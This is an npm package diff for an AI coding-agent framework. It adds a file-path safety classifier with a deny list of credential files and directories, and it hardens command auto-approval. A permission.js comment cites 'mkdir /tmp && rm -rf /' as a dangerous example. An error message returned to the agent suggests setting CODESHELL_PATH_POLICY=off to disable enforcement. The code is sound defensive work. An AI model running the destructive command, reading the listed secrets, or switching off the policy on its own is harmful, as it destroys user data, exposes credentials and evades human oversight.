@cjhyy/code-shell-core 0.5.0-rc.1 → 0.5.0-rc.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/agent/agent-definition-registry.d.ts +18 -3
- package/dist/agent/agent-definition-registry.js +47 -18
- package/dist/agent/agent-definition.d.ts +17 -0
- package/dist/agent/agent-definition.js +22 -1
- package/dist/arena/arena.js +11 -12
- package/dist/arena/context/context-tools.js +2 -4
- package/dist/arena/context/within-root.d.ts +7 -0
- package/dist/arena/context/within-root.js +15 -0
- package/dist/arena/iterate/phases/argue.js +8 -2
- package/dist/arena/iterate/phases/revise.js +1 -1
- package/dist/arena/iterate/phases/tournament.js +3 -3
- package/dist/arena/phases/adjudication.js +1 -4
- package/dist/arena/phases/build-consensus.js +1 -4
- package/dist/arena/phases/cross-review.js +2 -8
- package/dist/arena/phases/debate-rounds.js +1 -4
- package/dist/arena/phases/participant-research.js +1 -4
- package/dist/arena/phases/planning-detail-expansion.js +8 -10
- package/dist/arena/planner.js +0 -1
- package/dist/arena/providers/docs.d.ts +1 -0
- package/dist/arena/providers/docs.js +5 -2
- package/dist/arena/providers/repo.d.ts +1 -0
- package/dist/arena/providers/repo.js +5 -2
- package/dist/arena/strategies/utils.js +36 -3
- package/dist/arena/transitions.d.ts +7 -2
- package/dist/arena/transitions.js +9 -4
- package/dist/arena/types.d.ts +8 -2
- package/dist/automation/cron-expr.d.ts +31 -0
- package/dist/automation/cron-expr.js +151 -0
- package/dist/automation/index.d.ts +41 -0
- package/dist/automation/index.js +39 -0
- package/dist/automation/runner.d.ts +67 -0
- package/dist/automation/runner.js +56 -0
- package/dist/automation/scheduler.d.ts +156 -0
- package/dist/automation/scheduler.js +546 -0
- package/dist/automation/store.d.ts +39 -0
- package/dist/automation/store.js +119 -0
- package/dist/automation/write-policy.d.ts +34 -0
- package/dist/automation/write-policy.js +113 -0
- package/dist/automation/write-run.d.ts +51 -0
- package/dist/automation/write-run.js +38 -0
- package/dist/capability-control/index.d.ts +5 -0
- package/dist/capability-control/index.js +3 -0
- package/dist/capability-control/overlay.d.ts +49 -0
- package/dist/capability-control/overlay.js +89 -0
- package/dist/capability-control/project.d.ts +65 -0
- package/dist/capability-control/project.js +147 -0
- package/dist/capability-control/service.d.ts +70 -0
- package/dist/capability-control/service.js +147 -0
- package/dist/capability-control/types.d.ts +62 -0
- package/dist/capability-control/types.js +17 -0
- package/dist/cli/agent-server-stdio.d.ts +12 -1
- package/dist/cli/agent-server-stdio.js +114 -19
- package/dist/cli/agent-server-tcp.d.ts +20 -0
- package/dist/cli/agent-server-tcp.js +120 -0
- package/dist/cli/graceful-shutdown.d.ts +27 -0
- package/dist/cli/graceful-shutdown.js +30 -0
- package/dist/context/compaction.js +23 -15
- package/dist/context/manager.d.ts +0 -20
- package/dist/context/manager.js +0 -37
- package/dist/cron/cron-runtime.d.ts +2 -0
- package/dist/cron/cron-runtime.js +2 -0
- package/dist/cron/cron-store.d.ts +2 -0
- package/dist/cron/cron-store.js +2 -0
- package/dist/cron/scheduler.d.ts +5 -32
- package/dist/cron/scheduler.js +5 -113
- package/dist/data/openrouter-sync.js +1 -1
- package/dist/engine/engine.d.ts +208 -14
- package/dist/engine/engine.js +754 -169
- package/dist/engine/goal.d.ts +42 -0
- package/dist/engine/goal.js +52 -0
- package/dist/engine/image-compression.d.ts +81 -0
- package/dist/engine/image-compression.js +186 -0
- package/dist/engine/image-policy.d.ts +152 -0
- package/dist/engine/image-policy.js +165 -0
- package/dist/engine/reactive-threshold.d.ts +13 -0
- package/dist/engine/reactive-threshold.js +17 -0
- package/dist/engine/runtime.js +7 -0
- package/dist/engine/session-title.d.ts +13 -0
- package/dist/engine/session-title.js +34 -0
- package/dist/engine/turn-loop.d.ts +29 -8
- package/dist/engine/turn-loop.js +498 -316
- package/dist/git/parse-log.d.ts +13 -0
- package/dist/git/parse-log.js +21 -0
- package/dist/git/utils.d.ts +8 -6
- package/dist/git/utils.js +57 -26
- package/dist/git/worktree.js +33 -18
- package/dist/hooks/events.d.ts +23 -1
- package/dist/hooks/goal-stop-hook.d.ts +30 -0
- package/dist/hooks/goal-stop-hook.js +102 -0
- package/dist/hooks/hook-output.d.ts +33 -0
- package/dist/hooks/hook-output.js +79 -0
- package/dist/hooks/registry.d.ts +7 -0
- package/dist/hooks/registry.js +38 -1
- package/dist/hooks/shell-runner.d.ts +2 -0
- package/dist/hooks/shell-runner.js +43 -2
- package/dist/index.d.ts +31 -6
- package/dist/index.js +30 -3
- package/dist/llm/capabilities/reasoning-control.d.ts +24 -0
- package/dist/llm/capabilities/reasoning-control.js +38 -0
- package/dist/llm/capabilities/rules.js +33 -3
- package/dist/llm/capabilities/types.d.ts +22 -2
- package/dist/llm/clamp-max-tokens.d.ts +11 -0
- package/dist/llm/clamp-max-tokens.js +17 -0
- package/dist/llm/client-base.d.ts +41 -4
- package/dist/llm/client-base.js +67 -13
- package/dist/llm/client-factory.d.ts +3 -3
- package/dist/llm/client-factory.js +2 -2
- package/dist/llm/model-pool.d.ts +15 -11
- package/dist/llm/model-pool.js +23 -20
- package/dist/llm/provider-catalog.d.ts +2 -2
- package/dist/llm/providers/anthropic.d.ts +32 -2
- package/dist/llm/providers/anthropic.js +147 -8
- package/dist/llm/providers/openai.d.ts +11 -2
- package/dist/llm/providers/openai.js +253 -52
- package/dist/llm/reasoning-setting.d.ts +51 -0
- package/dist/llm/reasoning-setting.js +32 -0
- package/dist/llm/stop-reason.d.ts +13 -0
- package/dist/llm/stop-reason.js +21 -0
- package/dist/llm/strip-vision.d.ts +32 -0
- package/dist/llm/strip-vision.js +94 -0
- package/dist/llm/types.d.ts +5 -6
- package/dist/logging/logger.js +18 -4
- package/dist/logging/sanitize-messages.d.ts +10 -0
- package/dist/logging/sanitize-messages.js +90 -0
- package/dist/lsp/client.js +28 -8
- package/dist/lsp/manager.js +2 -1
- package/dist/lsp/root-path.d.ts +9 -0
- package/dist/lsp/root-path.js +12 -0
- package/dist/onboarding.js +18 -11
- package/dist/plugins/gitOps.d.ts +34 -0
- package/dist/plugins/gitOps.js +59 -3
- package/dist/plugins/installer/codex/convertAgents.d.ts +7 -0
- package/dist/plugins/installer/codex/convertAgents.js +55 -0
- package/dist/plugins/installer/codex/convertMcp.d.ts +8 -0
- package/dist/plugins/installer/codex/convertMcp.js +45 -0
- package/dist/plugins/installer/codex/convertSkills.d.ts +12 -0
- package/dist/plugins/installer/codex/convertSkills.js +33 -0
- package/dist/plugins/installer/detectFormat.d.ts +2 -0
- package/dist/plugins/installer/detectFormat.js +6 -0
- package/dist/plugins/installer/install.d.ts +7 -0
- package/dist/plugins/installer/install.js +99 -0
- package/dist/plugins/installer/installFromSource.d.ts +13 -0
- package/dist/plugins/installer/installFromSource.js +45 -0
- package/dist/plugins/installer/list.d.ts +9 -0
- package/dist/plugins/installer/list.js +30 -0
- package/dist/plugins/installer/loadPluginAgents.d.ts +3 -0
- package/dist/plugins/installer/loadPluginAgents.js +23 -0
- package/dist/plugins/installer/loadPluginMcp.d.ts +7 -0
- package/dist/plugins/installer/loadPluginMcp.js +74 -0
- package/dist/plugins/installer/parseSource.d.ts +20 -0
- package/dist/plugins/installer/parseSource.js +74 -0
- package/dist/plugins/installer/paths.d.ts +5 -0
- package/dist/plugins/installer/paths.js +25 -0
- package/dist/plugins/installer/types.d.ts +49 -0
- package/dist/plugins/installer/types.js +27 -0
- package/dist/plugins/installer/uninstall.d.ts +2 -0
- package/dist/plugins/installer/uninstall.js +14 -0
- package/dist/plugins/installer/update.d.ts +14 -0
- package/dist/plugins/installer/update.js +65 -0
- package/dist/plugins/loadPluginHooks.d.ts +8 -1
- package/dist/plugins/loadPluginHooks.js +11 -1
- package/dist/plugins/marketplaceManager.d.ts +8 -1
- package/dist/plugins/marketplaceManager.js +38 -4
- package/dist/plugins/pluginCommandHook.js +34 -0
- package/dist/plugins/pluginInstaller.d.ts +21 -0
- package/dist/plugins/pluginInstaller.js +128 -29
- package/dist/plugins/schemas.js +40 -6
- package/dist/plugins/types.d.ts +4 -0
- package/dist/preset/index.js +16 -0
- package/dist/prompt/composer.d.ts +4 -0
- package/dist/prompt/composer.js +28 -4
- package/dist/prompt/sections/orchestration.md +8 -0
- package/dist/protocol/chat-session-manager.d.ts +8 -1
- package/dist/protocol/chat-session-manager.js +10 -0
- package/dist/protocol/chat-session.d.ts +17 -0
- package/dist/protocol/chat-session.js +28 -0
- package/dist/protocol/redact.d.ts +50 -0
- package/dist/protocol/redact.js +71 -0
- package/dist/protocol/server.d.ts +41 -2
- package/dist/protocol/server.js +231 -33
- package/dist/protocol/tcp-transport.d.ts +45 -0
- package/dist/protocol/tcp-transport.js +74 -0
- package/dist/protocol/types.d.ts +23 -0
- package/dist/protocol/types.js +6 -0
- package/dist/remote/bridge.d.ts +11 -2
- package/dist/remote/bridge.js +61 -33
- package/dist/run/ArtifactTracker.js +5 -4
- package/dist/run/EngineRunner.d.ts +27 -1
- package/dist/run/EngineRunner.js +46 -8
- package/dist/run/FileRunStore.js +32 -8
- package/dist/run/RunLock.d.ts +28 -2
- package/dist/run/RunLock.js +49 -7
- package/dist/run/RunManager.js +51 -3
- package/dist/run/RunQueue.d.ts +1 -0
- package/dist/run/RunQueue.js +8 -2
- package/dist/run/factory.d.ts +7 -0
- package/dist/run/factory.js +1 -0
- package/dist/run/index.d.ts +2 -2
- package/dist/run/index.js +1 -1
- package/dist/run/redirect-target.d.ts +7 -0
- package/dist/run/redirect-target.js +13 -0
- package/dist/run/types.js +1 -1
- package/dist/services/browser-open.d.ts +13 -0
- package/dist/services/browser-open.js +16 -0
- package/dist/services/dream-consolidation.d.ts +57 -0
- package/dist/services/dream-consolidation.js +151 -0
- package/dist/services/memory-orchestrator.js +18 -0
- package/dist/services/notifier.d.ts +8 -0
- package/dist/services/notifier.js +39 -25
- package/dist/services/oauth.js +5 -7
- package/dist/services/session-memory-sort.d.ts +8 -0
- package/dist/services/session-memory-sort.js +9 -0
- package/dist/services/session-memory.js +8 -9
- package/dist/session/file-history.js +10 -3
- package/dist/session/session-manager.d.ts +23 -1
- package/dist/session/session-manager.js +73 -2
- package/dist/settings/disk-defaults.d.ts +35 -0
- package/dist/settings/disk-defaults.js +24 -0
- package/dist/settings/manager.d.ts +33 -0
- package/dist/settings/manager.js +94 -1
- package/dist/settings/personalization.d.ts +19 -0
- package/dist/settings/personalization.js +7 -0
- package/dist/settings/schema.d.ts +1142 -126
- package/dist/settings/schema.js +119 -10
- package/dist/tool-system/builtin/add-marketplace.d.ts +12 -0
- package/dist/tool-system/builtin/add-marketplace.js +76 -0
- package/dist/tool-system/builtin/agent-registry.d.ts +11 -0
- package/dist/tool-system/builtin/agent-registry.js +8 -4
- package/dist/tool-system/builtin/agent.d.ts +29 -10
- package/dist/tool-system/builtin/agent.js +108 -52
- package/dist/tool-system/builtin/apply-patch/index.js +22 -3
- package/dist/tool-system/builtin/arena.js +6 -7
- package/dist/tool-system/builtin/complete-goal.d.ts +25 -0
- package/dist/tool-system/builtin/complete-goal.js +45 -0
- package/dist/tool-system/builtin/cron.js +53 -9
- package/dist/tool-system/builtin/edit.d.ts +2 -1
- package/dist/tool-system/builtin/edit.js +6 -1
- package/dist/tool-system/builtin/generate-image.d.ts +25 -0
- package/dist/tool-system/builtin/generate-image.js +146 -0
- package/dist/tool-system/builtin/glob.js +7 -0
- package/dist/tool-system/builtin/grep.js +6 -0
- package/dist/tool-system/builtin/index.d.ts +18 -1
- package/dist/tool-system/builtin/index.js +62 -1
- package/dist/tool-system/builtin/notebook-edit.d.ts +2 -1
- package/dist/tool-system/builtin/notebook-edit.js +8 -1
- package/dist/tool-system/builtin/read.d.ts +2 -1
- package/dist/tool-system/builtin/read.js +9 -1
- package/dist/tool-system/builtin/sleep.js +9 -3
- package/dist/tool-system/builtin/task.js +4 -1
- package/dist/tool-system/builtin/update-automation-memory.d.ts +24 -0
- package/dist/tool-system/builtin/update-automation-memory.js +60 -0
- package/dist/tool-system/builtin/view-image.d.ts +18 -0
- package/dist/tool-system/builtin/view-image.js +96 -0
- package/dist/tool-system/builtin/web-search.d.ts +4 -1
- package/dist/tool-system/builtin/web-search.js +36 -3
- package/dist/tool-system/builtin/write.d.ts +2 -1
- package/dist/tool-system/builtin/write.js +7 -1
- package/dist/tool-system/context.d.ts +12 -0
- package/dist/tool-system/executor.d.ts +0 -1
- package/dist/tool-system/executor.js +34 -40
- package/dist/tool-system/investigation-guard.d.ts +4 -1
- package/dist/tool-system/investigation-guard.js +19 -3
- package/dist/tool-system/mcp-manager.d.ts +36 -12
- package/dist/tool-system/mcp-manager.js +173 -10
- package/dist/tool-system/path-policy.d.ts +94 -0
- package/dist/tool-system/path-policy.js +279 -0
- package/dist/tool-system/permission.js +43 -50
- package/dist/tool-system/plan-mode-allowlist.d.ts +21 -0
- package/dist/tool-system/plan-mode-allowlist.js +43 -0
- package/dist/tool-system/registry.js +12 -1
- package/dist/tool-system/validation.d.ts +10 -0
- package/dist/tool-system/validation.js +16 -3
- package/dist/types.d.ts +90 -15
- package/dist/utils/format.js +4 -2
- package/dist/utils/lockfile.js +9 -2
- package/dist/utils/theme.d.ts +6 -0
- package/dist/utils/theme.js +4 -2
- package/package.json +2 -1
|
@@ -0,0 +1,279 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* PathPolicy — shared classifier for file-tool path safety.
|
|
3
|
+
*
|
|
4
|
+
* Today the file tools (Read, Write, Edit, ApplyPatch, NotebookEdit) operate
|
|
5
|
+
* directly on host paths with no shared safety layer. acceptEdits / Bash
|
|
6
|
+
* sandboxing don't help here: a Write that an LLM points at ~/.aws/credentials
|
|
7
|
+
* or a path outside the workspace gets silently honored.
|
|
8
|
+
*
|
|
9
|
+
* This module is the MVP boundary called out in
|
|
10
|
+
* docs/superpowers/plans/2026-05-27-core-quality-iteration.md, Workstream B.
|
|
11
|
+
*
|
|
12
|
+
* Decision shape:
|
|
13
|
+
* "allow" — proceed without prompting (in-workspace and not sensitive)
|
|
14
|
+
* "ask" — caller must obtain user approval (outside workspace, OR
|
|
15
|
+
* sensitive-path read)
|
|
16
|
+
* "deny" — refuse outright (sensitive-path write)
|
|
17
|
+
*
|
|
18
|
+
* The classifier is pure: it resolves symlinks (best effort), checks against
|
|
19
|
+
* an explicit sensitive list, then compares against the workspace root. It
|
|
20
|
+
* never reads the file; the caller is the one with IO.
|
|
21
|
+
*
|
|
22
|
+
* Rollout escape hatch:
|
|
23
|
+
* CODESHELL_PATH_POLICY=off → classifyPath returns "allow" for everything
|
|
24
|
+
* (logged once per process). This is the reversible-rollout switch
|
|
25
|
+
* recorded in the plan's Definition of Done.
|
|
26
|
+
*
|
|
27
|
+
* acceptEdits cannot bypass this layer — by design, acceptEdits is a
|
|
28
|
+
* permission-system shortcut that lets routine in-workspace edits skip an
|
|
29
|
+
* approval round-trip; it is not an authority to write anywhere on disk.
|
|
30
|
+
* Callers must consult classifyPath before honoring acceptEdits.
|
|
31
|
+
*/
|
|
32
|
+
import { realpathSync } from "node:fs";
|
|
33
|
+
import { homedir } from "node:os";
|
|
34
|
+
import { dirname, isAbsolute, resolve as resolvePath, sep } from "node:path";
|
|
35
|
+
/**
|
|
36
|
+
* Default sensitive path patterns. These are evaluated AFTER home-expansion
|
|
37
|
+
* and resolution, so a literal "$HOME/.ssh" and a symlink at /tmp/x → ~/.ssh
|
|
38
|
+
* are both caught.
|
|
39
|
+
*
|
|
40
|
+
* Mirrors the existing list in sandbox/index.ts so Bash and file tools agree
|
|
41
|
+
* on what "sensitive" means — keep them in sync when adding entries.
|
|
42
|
+
*/
|
|
43
|
+
const SENSITIVE_DIR_PATTERNS = [
|
|
44
|
+
".ssh",
|
|
45
|
+
".aws",
|
|
46
|
+
".config/gcloud",
|
|
47
|
+
".code-shell",
|
|
48
|
+
".claude",
|
|
49
|
+
".gnupg",
|
|
50
|
+
".kube",
|
|
51
|
+
".docker",
|
|
52
|
+
];
|
|
53
|
+
/**
|
|
54
|
+
* Files that are sensitive regardless of where they live: an `.env` next to
|
|
55
|
+
* the code, an `id_rsa` in a random folder, etc.
|
|
56
|
+
*/
|
|
57
|
+
const SENSITIVE_FILE_PATTERNS = [
|
|
58
|
+
/^\.env(\..+)?$/i, // .env, .env.local, .env.production, …
|
|
59
|
+
/^id_(rsa|dsa|ecdsa|ed25519)(\.pub)?$/i,
|
|
60
|
+
/\.pem$/i,
|
|
61
|
+
/\.p12$/i,
|
|
62
|
+
/\.pfx$/i,
|
|
63
|
+
/auth/i,
|
|
64
|
+
/token/i,
|
|
65
|
+
/credential/i,
|
|
66
|
+
/secret/i,
|
|
67
|
+
];
|
|
68
|
+
const ENV_DISABLE = "CODESHELL_PATH_POLICY";
|
|
69
|
+
let warnedDisabled = false;
|
|
70
|
+
function policyDisabled() {
|
|
71
|
+
const v = process.env[ENV_DISABLE];
|
|
72
|
+
return v === "off" || v === "0" || v === "false";
|
|
73
|
+
}
|
|
74
|
+
function expandTilde(p) {
|
|
75
|
+
if (p === "~")
|
|
76
|
+
return homedir();
|
|
77
|
+
if (p.startsWith("~/") || p.startsWith("~" + sep)) {
|
|
78
|
+
return homedir() + p.slice(1);
|
|
79
|
+
}
|
|
80
|
+
return p;
|
|
81
|
+
}
|
|
82
|
+
/**
|
|
83
|
+
* Best-effort resolution. realpath fails when the path doesn't exist yet —
|
|
84
|
+
* the common case for Write creating a new file. We walk up to the nearest
|
|
85
|
+
* existing ancestor, realpath *that*, then re-append the remaining segments.
|
|
86
|
+
*
|
|
87
|
+
* Why this matters: on macOS, /var is a symlink to /private/var, so a
|
|
88
|
+
* tmpdir() workspace at /var/folders/... realpaths to /private/var/folders/...
|
|
89
|
+
* If we naively `resolve()` a non-existing child of the workspace, its
|
|
90
|
+
* prefix won't match the realpathed workspace and an in-workspace write
|
|
91
|
+
* would be misclassified as outside-workspace.
|
|
92
|
+
*/
|
|
93
|
+
function safeRealpath(p) {
|
|
94
|
+
const abs = isAbsolute(p) ? p : resolvePath(process.cwd(), p);
|
|
95
|
+
// Walk up to the nearest existing ancestor.
|
|
96
|
+
let candidate = abs;
|
|
97
|
+
const segments = [];
|
|
98
|
+
// Cap the walk so a pathological input can't spin forever.
|
|
99
|
+
for (let i = 0; i < 64; i++) {
|
|
100
|
+
try {
|
|
101
|
+
const resolved = realpathSync(candidate);
|
|
102
|
+
if (segments.length === 0)
|
|
103
|
+
return resolved;
|
|
104
|
+
return resolvePath(resolved, ...segments.reverse());
|
|
105
|
+
}
|
|
106
|
+
catch {
|
|
107
|
+
const parent = dirname(candidate);
|
|
108
|
+
if (parent === candidate) {
|
|
109
|
+
// Reached root without finding anything that exists — return the
|
|
110
|
+
// original absolute form so the caller still has a usable path.
|
|
111
|
+
return abs;
|
|
112
|
+
}
|
|
113
|
+
segments.push(candidate.slice(parent.length + (parent.endsWith(sep) ? 0 : 1)));
|
|
114
|
+
candidate = parent;
|
|
115
|
+
}
|
|
116
|
+
}
|
|
117
|
+
return abs;
|
|
118
|
+
}
|
|
119
|
+
function isInsideDir(child, parent) {
|
|
120
|
+
const p = parent.endsWith(sep) ? parent : parent + sep;
|
|
121
|
+
return child === parent || child.startsWith(p);
|
|
122
|
+
}
|
|
123
|
+
/**
|
|
124
|
+
* Returns the matching sensitive-dir entry (with the user's home prefix) if
|
|
125
|
+
* `resolved` lives underneath any sensitive directory, else undefined.
|
|
126
|
+
*/
|
|
127
|
+
function matchSensitiveDir(resolved) {
|
|
128
|
+
const home = homedir();
|
|
129
|
+
for (const rel of SENSITIVE_DIR_PATTERNS) {
|
|
130
|
+
const full = home + sep + rel;
|
|
131
|
+
if (isInsideDir(resolved, full))
|
|
132
|
+
return "~/" + rel;
|
|
133
|
+
}
|
|
134
|
+
return undefined;
|
|
135
|
+
}
|
|
136
|
+
/**
|
|
137
|
+
* Returns the matching pattern label if the basename matches a sensitive
|
|
138
|
+
* file rule, else undefined.
|
|
139
|
+
*/
|
|
140
|
+
function matchSensitiveFile(resolved) {
|
|
141
|
+
const base = resolved.slice(resolved.lastIndexOf(sep) + 1);
|
|
142
|
+
for (const re of SENSITIVE_FILE_PATTERNS) {
|
|
143
|
+
if (re.test(base))
|
|
144
|
+
return base;
|
|
145
|
+
}
|
|
146
|
+
return undefined;
|
|
147
|
+
}
|
|
148
|
+
function isSafeCodeShellDiagnosticRead(resolved) {
|
|
149
|
+
const home = homedir();
|
|
150
|
+
const root = home + sep + ".code-shell";
|
|
151
|
+
if (!isInsideDir(resolved, root))
|
|
152
|
+
return false;
|
|
153
|
+
const rel = resolved.slice(root.length + 1);
|
|
154
|
+
const parts = rel.split(sep).filter(Boolean);
|
|
155
|
+
if (parts[0] === "sessions" && /^s-[A-Za-z0-9_-]+$/.test(parts[1] ?? "")) {
|
|
156
|
+
return parts[2] === "tool-results" || parts[2] === "logs" || parts[2] === "transcript";
|
|
157
|
+
}
|
|
158
|
+
if (parts[0] === "logs") {
|
|
159
|
+
const name = parts[1] ?? "";
|
|
160
|
+
return /^(desktop|tui|agent|main)-.+\.log$/i.test(name);
|
|
161
|
+
}
|
|
162
|
+
return false;
|
|
163
|
+
}
|
|
164
|
+
/**
|
|
165
|
+
* Classify a file path against the workspace + sensitive-path policy.
|
|
166
|
+
*
|
|
167
|
+
* Decision matrix:
|
|
168
|
+
*
|
|
169
|
+
* read write
|
|
170
|
+
* inside workspace, not sens. allow allow
|
|
171
|
+
* inside workspace, sensitive ask deny
|
|
172
|
+
* outside workspace, not sens. ask ask
|
|
173
|
+
* outside workspace, sensitive ask deny
|
|
174
|
+
*
|
|
175
|
+
* Sensitive wins over workspace placement: a `.env` checked into the project
|
|
176
|
+
* still asks on read and denies on write.
|
|
177
|
+
*/
|
|
178
|
+
export function classifyPath(rawPath, opts) {
|
|
179
|
+
if (typeof rawPath !== "string" || rawPath.length === 0) {
|
|
180
|
+
return { decision: "deny", reason: "empty path", resolvedPath: "" };
|
|
181
|
+
}
|
|
182
|
+
if (policyDisabled()) {
|
|
183
|
+
if (!warnedDisabled) {
|
|
184
|
+
// One-shot stderr nudge so an operator who flipped the flag sees it
|
|
185
|
+
// surfaced. We deliberately don't import the logger here to keep this
|
|
186
|
+
// module dependency-light — sanitize-messages can find this entry
|
|
187
|
+
// separately when callers log their PathPolicy decisions.
|
|
188
|
+
// eslint-disable-next-line no-console
|
|
189
|
+
console.warn(`[path-policy] CODESHELL_PATH_POLICY=${process.env[ENV_DISABLE]} — file path enforcement is OFF`);
|
|
190
|
+
warnedDisabled = true;
|
|
191
|
+
}
|
|
192
|
+
return { decision: "allow", reason: "policy disabled", resolvedPath: rawPath };
|
|
193
|
+
}
|
|
194
|
+
const expanded = expandTilde(rawPath);
|
|
195
|
+
const resolved = safeRealpath(expanded);
|
|
196
|
+
const workspace = safeRealpath(opts.workspaceRoot);
|
|
197
|
+
const sensitiveDir = matchSensitiveDir(resolved);
|
|
198
|
+
const sensitiveFile = matchSensitiveFile(resolved);
|
|
199
|
+
const sensitiveLabel = sensitiveDir ?? sensitiveFile;
|
|
200
|
+
const insideWorkspace = isInsideDir(resolved, workspace);
|
|
201
|
+
// Sensitive: write is always denied, read always asks. Workspace placement
|
|
202
|
+
// doesn't soften the rule — an `.env` in the project still asks on read.
|
|
203
|
+
if (sensitiveLabel) {
|
|
204
|
+
if (opts.operation === "read" && isSafeCodeShellDiagnosticRead(resolved)) {
|
|
205
|
+
return {
|
|
206
|
+
decision: "allow",
|
|
207
|
+
reason: "safe CodeShell diagnostic read",
|
|
208
|
+
resolvedPath: resolved,
|
|
209
|
+
};
|
|
210
|
+
}
|
|
211
|
+
if (opts.operation === "write") {
|
|
212
|
+
return {
|
|
213
|
+
decision: "deny",
|
|
214
|
+
reason: `sensitive path (${sensitiveLabel}): writes are not permitted`,
|
|
215
|
+
resolvedPath: resolved,
|
|
216
|
+
};
|
|
217
|
+
}
|
|
218
|
+
return {
|
|
219
|
+
decision: "ask",
|
|
220
|
+
reason: `sensitive path (${sensitiveLabel}): read requires approval`,
|
|
221
|
+
resolvedPath: resolved,
|
|
222
|
+
};
|
|
223
|
+
}
|
|
224
|
+
if (insideWorkspace) {
|
|
225
|
+
return { decision: "allow", reason: "inside workspace", resolvedPath: resolved };
|
|
226
|
+
}
|
|
227
|
+
// Outside workspace: ask for both read and write. The conservative bias
|
|
228
|
+
// matches the plan's leaning answer to Q1 — ask on sensitive reads, deny
|
|
229
|
+
// on silently-allowed writes; outside-workspace falls in between.
|
|
230
|
+
return {
|
|
231
|
+
decision: "ask",
|
|
232
|
+
reason: "outside workspace: caller approval required",
|
|
233
|
+
resolvedPath: resolved,
|
|
234
|
+
};
|
|
235
|
+
}
|
|
236
|
+
/**
|
|
237
|
+
* Convenience wrapper for the file-tool integration. Pass the ToolContext's
|
|
238
|
+
* cwd (or undefined for non-LLM call sites), the target path, and the
|
|
239
|
+
* operation; returns either null (proceed) or an error string (refuse).
|
|
240
|
+
*
|
|
241
|
+
* Semantics:
|
|
242
|
+
* - decision="allow" → returns null.
|
|
243
|
+
* - decision="deny" → returns a "blocked by path policy" message.
|
|
244
|
+
* - decision="ask" → MVP: without a hooked-up askUser path here, we
|
|
245
|
+
* translate ask → refuse with an explanatory error
|
|
246
|
+
* so the LLM sees the refusal and can choose a
|
|
247
|
+
* different path. This is the conservative choice
|
|
248
|
+
* the plan calls out for the MVP rollout.
|
|
249
|
+
*
|
|
250
|
+
* `workspaceRoot === undefined` is the explicit signal that the caller is
|
|
251
|
+
* NOT an LLM-driven tool invocation (the ToolRegistry always threads ctx
|
|
252
|
+
* through, ctx always carries cwd). Standalone tests, scripts importing
|
|
253
|
+
* a tool function directly, and a few legacy CLI paths can be in this
|
|
254
|
+
* shape — we bypass policy for them rather than pretending process.cwd()
|
|
255
|
+
* is a meaningful workspace. The CODESHELL_PATH_POLICY=off env switch
|
|
256
|
+
* remains the rollback knob for the LLM-driven path.
|
|
257
|
+
*/
|
|
258
|
+
export function enforcePathPolicy(filePath, operation, workspaceRoot) {
|
|
259
|
+
if (workspaceRoot === undefined)
|
|
260
|
+
return null;
|
|
261
|
+
const c = classifyPath(filePath, { workspaceRoot, operation });
|
|
262
|
+
if (c.decision === "allow")
|
|
263
|
+
return null;
|
|
264
|
+
if (c.decision === "deny") {
|
|
265
|
+
return `Error: blocked by path policy — ${c.reason}. Path: ${c.resolvedPath}`;
|
|
266
|
+
}
|
|
267
|
+
// ask — MVP refuses with explanatory message until askUser plumbing
|
|
268
|
+
// lands. The conservative bias matches the plan's leaning answer for Q1.
|
|
269
|
+
return `Error: path requires approval — ${c.reason}. Path: ${c.resolvedPath}. ` +
|
|
270
|
+
`Set CODESHELL_PATH_POLICY=off to disable enforcement during a rollback.`;
|
|
271
|
+
}
|
|
272
|
+
/**
|
|
273
|
+
* Internal: reset the "disabled warning" latch. Tests flip the env var
|
|
274
|
+
* between cases and need each one to be able to re-trigger the warning.
|
|
275
|
+
* Not exported on the public surface beyond test usage.
|
|
276
|
+
*/
|
|
277
|
+
export function __resetPathPolicyWarnLatchForTests() {
|
|
278
|
+
warnedDisabled = false;
|
|
279
|
+
}
|
|
@@ -37,11 +37,10 @@ export class AutoApprovalBackend {
|
|
|
37
37
|
if (req.riskLevel === "low") {
|
|
38
38
|
return { approved: true };
|
|
39
39
|
}
|
|
40
|
-
//
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
// Auto-deny high-risk dangerous commands
|
|
40
|
+
// Deny gate runs BEFORE the safe-prefix fast-path: a high-risk command
|
|
41
|
+
// must never be auto-approved just because it begins with a "safe" verb
|
|
42
|
+
// (e.g. `mkdir /tmp && rm -rf /`). The classifier already flagged it
|
|
43
|
+
// dangerous; honor that first.
|
|
45
44
|
if (req.riskLevel === "high") {
|
|
46
45
|
if (this.delegate) {
|
|
47
46
|
return this.delegate.requestApproval(req);
|
|
@@ -51,11 +50,22 @@ export class AutoApprovalBackend {
|
|
|
51
50
|
reason: "auto mode: high-risk operation denied (no interactive approval available)",
|
|
52
51
|
};
|
|
53
52
|
}
|
|
54
|
-
//
|
|
53
|
+
// Auto-approve common safe patterns (only reachable for low/medium risk).
|
|
54
|
+
if (this.isSafeOperation(req)) {
|
|
55
|
+
return { approved: true };
|
|
56
|
+
}
|
|
57
|
+
// Medium risk that is NOT an established-safe operation: delegate if
|
|
58
|
+
// available, otherwise fail CLOSED (matching the high-risk branch and the
|
|
59
|
+
// "auto = approve safe operations only" contract). Auto-approving here
|
|
60
|
+
// would silently run unvetted commands like `kill`, `npm publish`, or
|
|
61
|
+
// unknown binaries.
|
|
55
62
|
if (this.delegate) {
|
|
56
63
|
return this.delegate.requestApproval(req);
|
|
57
64
|
}
|
|
58
|
-
return {
|
|
65
|
+
return {
|
|
66
|
+
approved: false,
|
|
67
|
+
reason: "auto mode: medium-risk operation denied (no interactive approval available)",
|
|
68
|
+
};
|
|
59
69
|
}
|
|
60
70
|
isSafeOperation(req) {
|
|
61
71
|
const { toolName, args } = req;
|
|
@@ -67,42 +77,15 @@ export class AutoApprovalBackend {
|
|
|
67
77
|
return true;
|
|
68
78
|
}
|
|
69
79
|
}
|
|
70
|
-
// Safe bash commands
|
|
80
|
+
// Safe bash commands. Reuse the metacharacter-aware classifier instead of
|
|
81
|
+
// a naive startsWith() prefix match — the latter only inspects the first
|
|
82
|
+
// token and is blind to command chaining (`&&`/`||`/`;`), substitution,
|
|
83
|
+
// redirection, and pipe-to-shell, so `mkdir /tmp && rm -rf /` would slip
|
|
84
|
+
// through. classifyBashCommand/scanShellCommand handle all of those.
|
|
71
85
|
if (toolName === "Bash") {
|
|
72
86
|
const cmd = String(args.command ?? "");
|
|
